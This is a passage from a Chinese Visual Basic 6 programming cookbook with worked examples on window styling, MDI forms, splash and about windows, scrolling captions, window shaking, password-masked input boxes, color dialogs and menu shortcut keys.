Public Const WS_EX_LAYERED = &H80000
Public Const LWA_ALPHA = &H2
Public Sub transparence(ByVal Frm As Form, ByVal alpha As Single)
    Dim rtn As Long
    rtn = GetWindowLong(Frm.hwnd, GWL_EXSTYLE)                      '从窗口结构中获取信息
    rtn = rtn Or WS_EX_LAYERED                                       '进行或运算
    SetWindowLong Frm.hwnd, GWL_EXSTYLE, rtn                       '设置窗口结构信息
    '设置透明窗体
    SetLayeredWindowAttributes Frm.hwnd, 0, 2.55 * alpha, LWA_ALPHA        'LWA_COLORKEY
End Sub




秘笈心法

心法领悟253：设置指定颜色透明。

SetLayeredWindowAttributes函数可以设置指定的颜色透明，需要将最后一个参数设置为LWA_COLORKEY，第二个参数crKey设置为要透明的颜色值。



 实例254　创建字型窗体

光盘位置：光盘\MR\08\254

中级

趣味指数：[image: ]




实例说明

[image: ]
图8.31　字型窗体



字型窗体是很少见的个性化窗体，可以增加窗体的艺术性，能够应用于特殊的程序中。本实例实现创建一个字型窗体，运行程序后显示字型窗体，程序的运行效果如图8.31所示。

关键技术

本实例使用API函数中的CreateCompatibleBitmap函数和SelectObject函数实现窗体透明，从而实现创建字型窗体。这两个函数在创建透明窗体实例中已经介绍过，这里不再赘述。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1，设置BorderStyle属性值为0，创建一个无标题栏的窗体。

（2）在窗体上添加两个Label控件，分别设置这两个控件的BackStyle属性值为0，使标签背景透明。设置这两个标签控件的Caption属性为“明日科技”，并设置它们的字体颜色。叠放两个标签控件使文字有种立体的效果。

（3）主要程序代码如下：



Option Explicit
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, _
    ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, _
    ByVal hObject As Long) As Long
    
Private Sub Form_Load()
    Dim Bitmap
    Me.AutoRedraw = True
    Bitmap = CreateCompatibleBitmap(Me.hdc, 0, 0)
    SelectObject Me.hdc, Bitmap   '设置窗体透明
End Sub




秘笈心法

心法领悟254：字型窗体创建技巧。

字型窗体其实就是在窗体上放置透明的标签控件，然后使用API函数使窗体透明，只显示Label控件内容，从而实现透明窗体效果。



 实例255　创建T型窗体

光盘位置：光盘\MR\08\255

中级

趣味指数：[image: ]




实例说明

T型窗体是很少见的个性化窗体，即把窗体显示为大写字母T的形状，可以增加窗体的艺术性，能够应用于特殊的程序中，程序的运行效果如图8.32所示。

[image: ]
图8.32　T型窗体



关键技术

本实例首先使用CreatePolygonRgn函数在窗体上绘制字母T的形状，然后使用SetWindowRgn函数创建此形状的窗体。使用CreatePolygonRgn函数能够绘制多边形图案，所以可以设置各种形状的窗体。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1，设置BorderStyle属性值为0，创建一个无标题栏的窗体。

（2）在窗体上添加一个Label控件，设置这个控件的BackStyle属性值为0，使标签背景透明。再添加一个CommandButton控件，设置Caption属性为“退出”。

（3）主要程序代码如下：



Private Sub createT()
    Dim hRgn As Long
    Dim lRes As Long
    ReDim XY(7) As POINTAPI 'T 型有8个顶点
    With Me
        XY(0).X = 0
        XY(0).Y = 0
        XY(1).X = .ScaleWidth
        XY(1).Y = 0
        XY(2).X = .ScaleWidth
        XY(2).Y = .ScaleHeight / 2
        XY(3).X = .ScaleWidth - (.ScaleWidth / 3)
        XY(3).Y = .ScaleHeight / 2
        XY(4).X = .ScaleWidth - (.ScaleWidth / 3)
        XY(4).Y = .ScaleHeight
        XY(5).X = .ScaleWidth / 3
        XY(5).Y = .ScaleHeight
        XY(6).X = .ScaleWidth / 3
        XY(6).Y = .ScaleHeight / 2
        XY(7).X = 0
        XY(7).Y = .ScaleHeight / 2
    End With
    hRgn = CreatePolygonRgn(XY(0), 8, 2)
    lRes = SetWindowRgn(Me.hWnd, hRgn, True)
End Sub




秘笈心法

心法领悟255：程序的结束。

使用End语句能够强制结束程序，将程序中的所有窗体都关闭也能够结束程序。


 8.6　MDI窗体应用



 实例256　设计多文档界面

光盘位置：光盘\MR\08\256

中级

趣味指数：[image: ]




实例说明

多文档界面就像文字处理软件Word。在应用程序中可以同时操作多个文档。每个文档都有自己的窗口。多文档界面用于同时浏览或比较多个文档，使数据交换更方便。例如，一个处理销售合同的应用程序就要用多文档界面MDI样式，因为用户很可能会同时处理一个以上的销售合同，或者需要对两个销售合同进行比较，如图8.33所示。

[image: ]
图8.33　多文档界面



关键技术

MDI窗体即多文档界面，是英文Multiple-Document Interface的缩写。在MDI模式窗体中，一个应用程序在运行时，除了一个主窗口外，还包含一系列的子窗口。MDI应用程序由一个父窗体和若干个子窗体组成，可以同时显示多个窗体，每个窗体都在自己的窗口中显示。子窗口被包含在父窗口中，父窗口为应用程序中所有的子窗口提供工作的空间。如常用的Word、Excel等都是MDI的应用程序。在MDI主窗体中，所有的子窗体都显示在工作区中，在工作区可以打开多个窗体，并且窗体之间的切换比较灵活。

MDI窗体的添加和普通窗体的添加操作非常类似，具体步骤如下：

（1）在工程资源管理器中单击鼠标右键，在弹出的快捷菜单中选择“添加”/“添加MDI窗体”命令。

（2）在弹出的“添加MDI窗体”对话框中选择“新建”选项卡，选择“MDI窗体”图标，单击“打开”按钮，即可向工程中添加一个MDI窗体，其执行过程如图8.34所示。

[image: ]
图8.34　添加MDI窗体




说明：
 选择“工程”/“添加MDI窗体”命令，同样也可以弹出“添加MDI窗体”对话框。添加子窗体只需将普通窗体的MDIChild属性设置为True即可。


注意：
 当一个活动的MDI子窗体没有被最大化时，父窗体和子窗体的标题栏都显示为活动的。

设计过程

（1）新建工程。

（2）创建一个MDI窗体，将该窗体作为主窗体，窗体的名称为frmMain。一个应用程序只能有一个MDI窗体。

（3）添加一个普通窗体，窗体名称为frmDocment，设置其MDIChild属性为True。

（4）使用Dim、Set和Static语句中的New关键字可以创建多个窗体，使用Show方法显示窗体，具体代码如下：



Private Sub LoadNewDoc()
    Static lDocumentCount As Long
    Dim frmD As frmDocument
    lDocumentCount = lDocumentCount + 1
    Set frmD = New frmDocument
    frmD.Caption = "Document " & lDocumentCount
    frmD.Show
End Sub




秘笈心法

心法领悟256：MDI窗体中巧用ActiveForm属性。

ActiveForm属性返回活动窗口的窗体。如果MDIForm对象是活动的或者是被引用的，则所指定的是活动的MDI子窗体。

访问当前活动窗体的属性或者调用其方法应使用ActiveForm属性。例如，设置当前活动窗体的光标，代码如下：



Screen.ActiveForm.MousePointer = 4.






 实例257　MDI窗体图片自适应

光盘位置：光盘\MR\08\257

初级

趣味指数：[image: ]




实例说明

MDI窗体不能放置非容器类的控件，所以不能使用Image控件直接放在窗体上为其显示一幅图像。这里设计一个MDI窗体图片自适应的程序，在程序运行后，改变窗体大小则窗体图片随之改变，程序的运行效果如图8.35所示。

[image: ]
图8.35　欢迎窗体



关键技术

MDI窗体自适应是使用PictureBox控件和PictureClip控件实现的。使用PictureBox控件显示一幅图片，使用PictureClip控件随窗体大小调整图片大小，再将调整大小后的图像显示在图像框中。运行时，使PictureBox控件不可见。

设计过程

（1）新建工程，创建MDI窗体。

（2）设计小型ERP管理系统主界面。

（3）在主界面上添加PictureBox作为容器控件，设置其Visible属性为False，使其在运行时不可见。在此图像框中添加两个图像框，并设置Picture2的Picture属性，添加一幅窗体界面图。

（4）添加一个PictureClip控件，修改名称为PicClip1。

（5）主要程序代码如下：



Private Sub MDIForm_Resize()
    On Error Resume Next
    Me.PicClip1.Picture = Me.Pic2.Picture
    PicClip1.ClipX = Me.Pic2.CurrentX
    PicClip1.ClipY = Me.Pic2.CurrentY
    PicClip1.ClipHeight = Me.Pic2.ScaleHeight
    PicClip1.ClipWidth = Me.Pic2.ScaleWidth
    PicClip1.StretchX = Me.ScaleWidth / Screen.TwipsPerPixelX          '转换为像素单位
    PicClip1.StretchY = Me.ScaleHeight / Screen.TwipsPerPixelY          '去掉工具栏和状态栏的高度
    Me.Pic3.Picture = PicClip1.Clip
    Me.Pic3.ScaleMode = 1
    Me.Picture = Pic3.Picture
    StatusBar1.Panels(2).Width = StatusBar1.Width - StatusBar1.Panels(1).Width - StatusBar1.Panels(3).Width
End Sub




秘笈心法

心法领悟257：MDI窗体图片自适应的技巧。

还有一个比较简单的办法是先建立一个Form，设置MDIChild为True，Border为0。然后在Form中加入如下代码，确保该Form出现在所有窗口的最下面。



PrivateSubForm_Activate()
        Me.ZOrder1
EndSub




在MDIForm的Resize事件中调整Form的大小，以保证它和MDIForm的大小相适应。



PrivateSubMDIForm_Resize()
        IfMDIFrm_main.WindowState<>1Then        
            Form1.Height=MDIFrm_main.ScaleHeight
        Form1.Width=MDIFrm_main.ScaleWidth
    EndIf
EndSub






 实例258　禁用MDI窗体控制栏中“最大化”按钮

光盘位置：光盘\MR\08\258

中级

趣味指数：[image: ]




实例说明

在程序设计时，有时不希望窗体最大化，这样就要设置窗体控制栏中的“最大化”按钮不能使用。本实例实现禁用MDI窗体控制栏中的“最大化”按钮，程序的运行效果如图8.36所示。

[image: ]
图8.36　禁用MDI窗体控制栏中“最大化”按钮



关键技术

禁用MDI窗体控制栏中“最大化”按钮主要通过使用API函数GetWindowLong和SetWindowLong实现。

GetWindowLong函数用于为从指定窗口的结构中取得信息，语法如下：



Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long




参数说明

❶ hwnd：Long，欲为其获取信息的窗口的句柄。

❷ nIndex：Long，欲取回的信息，可以是如表8.11所示的任何一个常数。

表8.11　nIndex参数值



	常数
	说明



	GWL_EXSTYLE
	扩展窗口样式



	GWL_STYLE
	窗口样式



	GWL_WNDPROC
	该窗口的窗口函数的地址



	GWL_HINSTANCE
	拥有窗口的实例的句柄



	GWL_HWNDPARENT
	该窗口之父的句柄。不要用SetWindowWord来改变这个值



	GWL_ID
	对话框中一个子窗口的标识符



	GWL_USERDATA
	含义由应用程序规定



	DWL_DLGPROC
	这个窗口的对话框函数地址



	DWL_MSGRESULT
	在对话框函数中处理的一条消息返回的值



	DWL_USER
	含义由应用程序规定





说明：
 SetWindowLong函数的详细讲解请参见实例248中的关键技术。

设计过程

（1）新建工程，创建MDI窗体。

（2）添加一个窗体，设置其MDIChild属性值为True，使其为MDI窗体的子窗体。

（3）主要程序代码如下：



Private Sub MDIForm_Load()
    Style = GetWindowLong(Me.hwnd, GWL_STYLE)          '获取窗口样式
    Style = Style And Not WS_MAXIMIZEBOX                '禁用“最大化”按钮
    SetWindowLong Me.hwnd, GWL_STYLE, Style            '设置新的窗口样式
End Sub




秘笈心法

心法领悟258：MDI窗体的显示。

使用Show语句显示MDI窗体，当加载子窗体时，其父窗体（MDI）会自动加载并显示。而加载MDI窗体时，其子窗体并不会自动加载。MDI窗体有AutoShowChildren属性，决定是否自动显示子窗体，此属性设置为True则当改变自创的属性后会自动显示该子窗体，无须使用Show方法。



 实例259　禁止调整MDI窗体大小

光盘位置：光盘\MR\08\259

中级

趣味指数：[image: ]




实例说明

本实例实现禁止调整MDI窗体的大小，即在程序运行时能不能使用鼠标拖动窗体边框来调整窗体的大小。但是窗体可以通过控制栏中的按钮实现最大化和最小化，程序的运行效果如图8.37所示。

[image: ]
图8.37　禁止调整MDI窗体大小



关键技术

禁止调整MDI窗体大小主要通过使用API函数GetWindowLong和SetWindowLong实现。这两个函数在前面已经介绍过，这里只是通过设置不同的参数来实现不同的窗体样式效果。

设计过程

（1）新建工程，创建MDI窗体。

（2）添加一个窗体，设置其MDIChild属性值为True，使其为MDI窗体的子窗体。

（3）主要程序代码如下：



Private Sub MDIForm_Load()
    Style = GetWindowLong(Me.hwnd, GWL_STYLE)             '获取窗口样式
    Style = Style And Not WS_SIZEBOX                        '禁止调整窗体大小
    SetWindowLong Me.hwnd, GWL_STYLE, Style               '设置新的窗口样式
End Sub




秘笈心法

心法领悟259：创建大小固定的普通窗体。

由于某些原因，程序的窗体大小要求不可以改变，而且需要保留窗体的标题栏。这就要求不可以通过采用拖动窗体边框的方法改变窗体大小，而且需要禁用窗体控制按钮中的“最大化”按钮。

实现方法如下：

在属性窗口中将窗体的BorderStyle属性设置为1-Fixed Single；MinButton属性设置为True。


 8.7　实用功能窗体设计



 实例260　欢迎窗体

光盘位置：光盘\MR\08\260

初级

趣味指数：[image: ]




实例说明

如果启动时有一个较长的执行过程，例如，要从数据库中装入大量数据或者要装入一些大型位图，这时可能希望在启动时给出一个快速显示。快速显示是一种窗体，通常也被叫做“欢迎窗体”，一般用于显示诸如应用程序名、版权信息和一个简单的位图等内容，启动VB时所显示的屏幕就是一个快速显示。本实例的欢迎窗体如图8.38所示。

[image: ]
图8.38　欢迎窗体



关键技术

要显示欢迎窗体，首先要将Sub Main过程作为启动对象，然后在标准模块中编写代码。将主窗体启动操作放在数据加载代码之后。

设计过程

（1）新建工程，将自动添加到工程的窗体名称修改为frmmain。

（2）在窗体上添加一个ListView控件。

（3）在工程中新添加一个窗体，设置名称为frmSplash，并设置其Picture属性，为其添加一幅图片。

（4）添加一个标准模块。

（5）主要程序代码如下：



Private Sub Main()
    '显示快速显示
    frmSplash.Show
    '在此处添加启动过程
   ...
    '显示主窗体并卸载快速显示
    frmMain.Show
    Unload frmSplash
End Sub




秘笈心法

心法领悟260：其他欢迎窗体。

也可以使用Timer控件控制欢迎窗体的出现时间。在欢迎窗体中添加Timer控件，将Timer控件的Interval属性值设置为欢迎窗体要显示的时间。在程序代码中添加Timer控件的Timer事件，在Timer事件中指定显示其他窗体，卸载欢迎窗体。



 实例261　调用API函数设计关于窗体

光盘位置：光盘\MR\08\261

中级

趣味指数：[image: ]




实例说明

关于窗体界面以对话框形式出现，其中应显示程序的版本号、版权标记及可用内存总数，本实例设计的关于窗体如图8.39所示。

[image: ]
图8.39　关于窗体



关键技术

本实例的关于窗体主要使用了ShellAbout函数，语法如下：



Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hWnd As Long, ByVal szApp As String, ByVal szOtherStuff As String,ByVal hIcon As Long) As Long




参数说明如表8.12所示。

表8.12　ShellAbout函数的参数说明



	参数
	说明



	hWnd
	长整型，指定窗体的句柄



	szApp
	字符串型，指定关于窗体的标题



	szOtherStuff
	字符串型，指定关于窗体的内容



	hIcon
	长整型，指定关于窗体的图标




设计过程

（1）新建工程，窗体默认名称为Form1。

（2）主要程序代码如下：



'API函数声明
Private Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hWnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long
Private Sub Form_Load()
    Call ShellAbout(hWnd, "明日系列软件", "     欢迎访问网站:http://www.mingrisoft.com！", Me.Icon)
    Unload Me
End Sub




秘笈心法

心法领悟261：使用窗体同样可以创建关于窗体。

在VB中也可以使用一个窗体来设计一个关于窗体。使用标签控件设置关于窗体上的相关信息能够创建一个更灵活的关于窗体。



 实例262　屏幕滚动字幕

光盘位置：光盘\MR\08\262

中级

趣味指数：[image: ]




实例说明

屏幕滚动字幕可以作为提示信息、窗体宣传广告使用。以一个字幕滚动条的方式显示在屏幕上。能够起到内容提示、广告宣传的作用，运行效果如图8.40所示。

[image: ]
图8.40　屏幕滚动字幕



关键技术

本实例应用了API函数BeginPath、SetBkMode、EndPath、PathToRegion和SetWindowRgn函数实现屏幕滚动字幕的功能，如表8.13所示。

表8.13　本实例应用的API函数及功能



	函数
	说明



	BeginPath
	启动一个路径分支。在这个命令后执行的GDI绘图命令会自动成为路径的一部分。对线段的连接会结合到一起。设备场景中任何现成的路径都会被清除



	SetBkMode
	指定阴影刷子、虚线画笔以及字符中的空隙的填充方式



	EndPath
	停止定义一个路径。如果执行成功，BeginPath函数调用和这个函数之间发生的所有绘图操作都会正式成为指定设备场景的路径



	PathToRegion
	将当前选定的路径转换到一个区域中



	SetWindowRgn
	这是那些很难有人注意到的对编程者来说是个巨大的宝藏的隐含的API函数中的一个。本函数允许用户改变窗口的区域




设计过程

（1）新建工程，窗体默认名称为Form1，设置窗体BorderStyle属性为0-None，使其不显示边框。

（2）在窗体上添加一个Label控件，并设置其Caption属性，设置其BackStyle属性为0-Transparent，使其背景透明。

（3）主要程序代码如下：



'API函数声明
Private Declare Function BeginPath Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SetBkMode Lib "gdi32" (ByVal hdc As Long, ByVal nBkMode As Long) As Long
Private Declare Function EndPath Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function PathToRegion Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Const TRANSPARENT = 1
   
Private Sub Form_Load()
    Dim Msg As String
    Dim MsgWidth As Integer
    Dim MsgHight As Integer
    Dim rgn
    Label1.Caption = "好消息： 明日编程词典全面推出，敬请关注！"
    Me.Left = Screen.Width                        '设置左边距
    Me.Top = Screen.Height - Me.Height – 500                '设置上边距
    BeginPath Me.hWnd                            '开始位置 
    SetBkMode Me.hWnd, TRANSPARENT
    EndPath Me.hWnd
    rgn = PathToRegion(Me.hWnd)
    SetWindowRgn Me.hWnd, rgn, True
    Timer1.Interval = 200
    Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()                        '控制程序执行
    Me.Left = Me.Left - 100
    If Me.Left < Label1.Width * (-1) Then
        Timer1.Enabled = False
        Me.Left = Screen.Width
        Timer1.Enabled = True
    End If
End Sub




秘笈心法

心法领悟262：移动窗体实现滚动字幕。

也可以不使用API实现滚动字幕功能。通过移动窗体控制窗体在屏幕上的位置，同样可以实现滚动字幕功能。



 实例263　窗体抖动

光盘位置：光盘\MR\08\263

初级

趣味指数：[image: ]




实例说明

使用过QQ的人都知道在与好友进行会话时，可以向好友发送抖动的命令，这时，自己的通话窗口和对方的通话窗口都会发生抖动的效果，这是如何实现的呢？本实例中就向大家介绍如何实现窗体的抖动效果，运行程序，单击窗体上的“抖动”按钮，就会触发窗体抖动，效果如图8.41所示。

[image: ]
图8.41　抖动窗体



关键技术

这个程序实现起来非常简单，首先将窗体向下移动80缇的距离，然后再向右移动80缇，再向上移动80缇，最后再向左移动80缇，回到窗体的原点。然后重复这一过程。执行1秒钟完成窗体的抖动。这里是利用了两个Timer控件实现的，其中一个用于循环窗体的位置，另一个用于控制循环的时间，控制在1秒钟。

设计过程

（1）新建标准的EXE工程。

（2）在工程中创建一个窗体，设置窗体的BorderStyle属性为0-None，设置窗体的Picture属性为事先设计好的图片。

（3）在窗体的适当位置添加Label控件，设置Label控件的Caption属性为空，设置BackStyle属性为0-Transparent，透明。

（4）在窗体上添加两个Timer控件，Timer1的Enabled属性设置为False，Interval属性设置为50，Timer2控件的Enabled属性设置为False，Interval属性设置为1000。

（5）当用户单击“抖动”按钮时，设置公共变量的初始值，设置Timer1控件可用。



Private Sub Lbl_Shock_Click()               '抖动
    a = 0                        '给变量赋值
    Timer1.Enabled = True                '设置Timer控件可用
End Sub




当Timer1控件被设置为可用状态时，设置Timer2控件可用，然后改变窗体的位置。具体的改变形式为：首先将窗体向下移动80缇的距离，然后再向右移动80缇，再向上移动80缇，最后再向左移动80缇，回到窗体的原点，程序代码如下：



Private Sub Timer1_Timer()
    Timer2.Enabled = True                '设置Timer2可用
    If a = 0 Then                    '如果a为1
        Me.Top = Me.Top + 80            '设置窗体向下移动80缇
        a = a + 1                    'a加1
    ElseIf a = 1 Then                '如果a等于1
        Me.Left = Me.Left + 80            '向右移动80缇
        a = a + 1                    'a加1
    ElseIf a = 2 Then                '如果a是2
        Me.Top = Me.Top – 80            '向上移动80缇
        a = a + 1                    'a加1
    ElseIf a = 3 Then                '如果a是3
        Me.Left = Me.Left – 80            '向左移动80缇
        a = 0
    End If
End Sub




Timer2控件每1秒钟执行一次，它的功能是如果Timer1控件可用，则将其设置为不可用，程序代码如下：



Private Sub Timer2_Timer()
    If Timer1.Enabled = True Then        '如果Timer1控件可用
        Timer1.Enabled = False            '设置Timer1控件不可用
        Timer2.Enabled = False            '设置Timer2控件不可用
    End If
End Sub




秘笈心法

心法领悟263：Paint事件的使用。

对某些任务使用Paint事件过程能导致一个层叠事件。通常来说，在下列情况下，要避免用Paint事件过程。


	移动一个窗体或控件，或者是调整其大小。

	对影响大小或外观的任何变量进行改变，例如，设置对象的BackColor属性等。

	调用Refresh方法。



对上述这些任务来说，Resize事件可能更为合适。



 实例264　显示Windows搜索窗口

光盘位置：光盘\MR\08\264

初级

趣味指数：[image: ]




实例说明

Windows系统提供的搜索窗口可对指定路径中的文件或文件夹进行搜索，本实例实现通过VB程序打开Windows的搜素窗口，打开的搜索窗口如图8.42所示。

[image: ]
图8.42　Windows搜索窗口



关键技术

调用Windows搜索对话框有一个简单的方法，就是模拟键盘的<Win+F>键。模拟键盘的行为可以通过使用API函数keybd_event，语法如下：



[Public | Private] Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)




参数说明如表8.14所示。

表8.14　API函数keybd_event参数说明



	参数
	说明



	bVk
	Byte，欲模拟的虚拟键码



	bScan
	Byte，键的OEM扫描码



	dwFlags
	Long，0；或设为下述两个标志之一。

[image: ]
 KEYEVENTF_EXTENDEDKEY：指出是一个扩展键，而且在前面冠以0xE0代码

[image: ]
 KEYEVENTF_KEYUP：模拟松开一个键



	dwExtraInfo
	Long，通常不用的一个值。api函数GetMessageExtraInfo可取得这个值。允许使用的值取决于特定的驱动程序




设计过程

（1）新建工程。

（2）新建一个窗体，添加一个CommandButton控件。

（3）主要程序代码如下：



Private Declare Sub keybd_event Lib "user32" ( ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const VK_LWIN = &H5B
Private Const KEYEVENTF_KEYUP = &H2
Private Sub Command1_Click()
    Call keybd_event(VK_LWIN, 0, 0, 0)
    Call keybd_event(&H46, 0, 0, 0)
    Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub




秘笈心法

心法领悟264：Refresh方法的使用。

在下列情况下使用Refresh方法。


	在另一个窗体被加载时显示一个窗体的全部。

	更新诸如FileListBox控件之类的文件系统列表框的内容。

	更新Data控件的数据结构。





 实例265　使用InputBox创建密码输入框

光盘位置：光盘\MR\08\265

中级

趣味指数：[image: ]




实例说明

本实例实现使用InputBox对话框创建密码输入框。大家都知道密码的输入约定俗成都是使用“*”来掩盖真实的密码，以增加密码的安全性，程序的运行效果如图8.43所示。

[image: ]
图8.43　使用InputBox创建密码输入框



关键技术

在VB中使用InputBox函数可以创建输入对话框，输入对话框是应用程序的重要组成部分。作为应用程序重要组成部分的它也不是完美无缺的，它的缺点就是无法直接通过对它的使用来实现密码输入框的创建。为了弥补在VB中输入对话框的瑕疵，下面将介绍使用InputBox创建密码输入框的方法。

在本实例中，有4个API函数发挥了非常重要的作用，它们分别是：SetTimer、FindWindow、FindWindowEx、SendMessage。

在以上API函数中的FindWindow、FindWindowEx是用来获取输入对话框中编辑框的句柄。获取编辑框句柄的思路非常简单，无非就是使用FindWindow获取输入对话框的句柄，然后根据这个句柄再获取编辑框的句柄。

API函数SetTimer，大家可能对它有些陌生，就算大家现在不会用也没关系，继续向下看就可以了。

API函数SetTimer用来安装系统定时器，语法如下：



Public Declare Function SetTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long




参数说明如表8.15所示。

表8.15　SetTimer函数的参数说明



	参数
	说明



	hWnd
	与系统计时器联合的窗口的句柄



	nIDEvent
	指定一个非零的计时器标识符



	uElapse
	指定超时值，单位为毫秒



	lpTimerFunc
	指向回调函数的地址




在这里，通过使用上述回调函数来实现编辑框句柄的获取，以及对编辑框中字符的“掩饰”。

字符的掩饰是通过使用API函数SendMessage实现的。

总之使用SendMessage的目的是向编辑框发送一个EM_SETPASSWORDCHAR消息。EM_SETPASS WORDCHAR是表示向应用程序发送的，用来设置或移除密码样式的消息。因为人们习惯性地将字符的密码样式设置为“*”，所以“掩饰”字符的关键代码如下：



Call SendMessage(lEditHwnd, EM_SETPASSWORDCHAR, Asc("*"), 0)




设计过程

（1）新建工程。

（2）新建一个窗体，添加一个命令按钮。

（3）主要程序代码如下：



Private Declare Function FindWindow Lib "user32" Alias"FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SetTimer& Lib "user32" (ByVal hwnd&, ByVal nIDEvent&, ByVal uElapse&, ByVal lpTimerFunc&)
Private Declare Function KillTimer& Lib "user32" (ByVal hwnd&, ByVal nIDEvent&)
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const EM_SETPASSWORDCHAR = &HCC
Public Const NV_INPUTBOX As Long = &H5000&
Public Function TimerProc(ByVal lHwnd&, ByVal uMsg&, ByVal lIDEvent&, ByVal lDWTime&) As Long
    Dim lEditHwnd As Long
    lEditHwnd = FindWindowEx(FindWindow("#32770", "密码输入框"), 0, "Edit", "")            '找到输入对话框
    Call SendMessage(lEditHwnd, EM_SETPASSWORDCHAR, Asc("*"), 0)                '设置输入显示为*
    KillTimer lHwnd, lIDEvent
End Function
Private Sub Command1_Click()
    On Error GoTo Err_Out
    Dim lTemp As Long
    Dim sTemp As String
    lTemp = SetTimer(Me.hwnd, NV_INPUTBOX, 1, AddressOf TimerProc)
    sTemp = InputBox("请输入密码", "密码输入框")                                '显示输入对话框
Err_Out:     End Sub




秘笈心法

心法领悟265：清除窗体背景图片。

窗体的背景图片使用窗体的Picture进行设置，在程序设计时，要清除窗体的背景图片，将光标置于窗体属性窗口的Picture属性上，按Delete键可清除窗体上的图片。



 实例266　使用API函数显示颜色对话框

光盘位置：光盘\MR\08\266

初级

趣味指数：[image: ]




实例说明

熟悉Common Dialog控件的朋友都知道，使用它可以创建通用对话框，其中当然包括颜色对话框。但是，使用API函数同样可以显示颜色对话框，还省去了引用ActiveX控件的麻烦，程序的运行效果如图8.44所示。

[image: ]
图8.44　显示颜色对话框



关键技术

显示颜色对话框通过使用API函数ChooseColor实现，语法如下：



Public Declare Function ChooseColor Lib "comdlg32.dll" Alias "ChooseColorA" (pChoosecolor As ChooseColor) As Long




参数说明

pChoosecolor：指向一个包括初始化为对话框信息的ChooseColor结构。当ChooseColor函数返回时，此结构含有有关用户颜色选择的信息。

设计过程

（1）新建工程。

（2）新建一个窗体，添加一个命令按钮。

（3）主要程序代码如下：



Private Sub Command1_Click()
    Dim lpChoosecolor As CHOOSECOLOR
    Dim aColorRef(15) As Long
    With lpChoosecolor
        .lStructSize = Len(lpChoosecolor)
        .hwndOwner = hWnd
        .rgbResult = Me.BackColor
        .lpCustColors = VarPtr(aColorRef(0))
        .flags = CC_SOLIDCOLOR Or CC_ANYCOLOR Or CC_RGBINIT
    End With
    If CHOOSECOLOR(lpChoosecolor) Then
        BackColor = lpChoosecolor.rgbResult
    End If
End Sub




秘笈心法

心法领悟266：获取标题栏内容不确定的窗口句柄。

当窗体的标题栏内容不确定或窗体无标题栏时，无法通过使用API函数FindWindow并指定标题栏字符串的方式获取句柄。

当遇到这种情况时，其实可以通过指定窗体类名的方式获取，例如下面代码：



ret = FindWindow("SciCalc", vbNullString)




API函数FindWindow语法如下：



[Public|Private] Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long





第9章　菜单应用技术

标准菜单应用

制作个性化菜单

高级菜单应用

导航菜单应用实例






 9.1　标准菜单应用



 实例267　为菜单添加访问键和快捷键

光盘位置：光盘\MR\09\267

初级

趣味指数：[image: ]




实例说明

访问键和快捷键都是通过键盘快速访问菜单项的方法。一个人性化的应用程序菜单，应该添加访问键和快捷键，以方便用户的使用。本实例演示如何为菜单添加访问键和快捷键，程序的运行效果如图9.1所示。

[image: ]
图9.1　为菜单添加访问键和快捷键



关键技术

访问键允许按Alt键并输入一个指定字符来打开一个菜单。一旦菜单打开，通过按下所赋值的字符（访问键）可选择控件。例如，按Alt+J键可打开“进货管理”菜单，再按O键可选择“进货单”菜单项。在菜单控件的标题中，一个指定的访问键表现为一个带下划线的字母。

快捷键按下时会立刻运行一个菜单项。可以为频繁使用的菜单项指定一个快捷键，它提供一种键盘单步的访问方法，而不是按住Alt键，然后按菜单标题访问字符，最后再按菜单项访问字符的3步方法。快捷键的赋值包括功能键与控制键的组合，例如，Ctrl+F1键或Ctrl+A键。它们出现在菜单中相应菜单项的右边。

设计过程

下面介绍如何在菜单编辑器中为菜单指定访问键。

打开菜单编辑器，选择要赋值访问键的菜单项，然后在“标题”文本框中，在要作为访问键的字符前面直接输入一个&字符。例如，进货统计(&T)，如图9.2所示。

[image: ]
图9.2　设置菜单项



为菜单增加快捷键的步骤如下：

（1）打开“菜单编辑器”。

（2）在菜单列表中选择要设置快捷键的菜单项。

（3）在“快捷键”下拉列表框中选择功能键或者键的组合，如图9.2所示。

要删除快捷键赋值，应在“快捷键”下拉列表框中选择（None）。


注意：
 快捷键将自动出现在菜单上，因此，不需要在“菜单编辑器”的“标题”文本框中输入“Ctrl+key”。

秘笈心法

心法领悟267：访问键冲突。

菜单中不能使用重复的访问键。如果多个菜单项使用同一个访问键，则该键将不起作用。例如，如果C同时是“剪切”和“复制”的访问键，那么，当选择“编辑”菜单且输入C时，则“复制”命令将被选上，但只有按Enter键以后，应用程序才会执行该命令，而“剪切”命令根本不会执行。



 实例268　给菜单添加分割线

光盘位置：光盘\MR\09\268

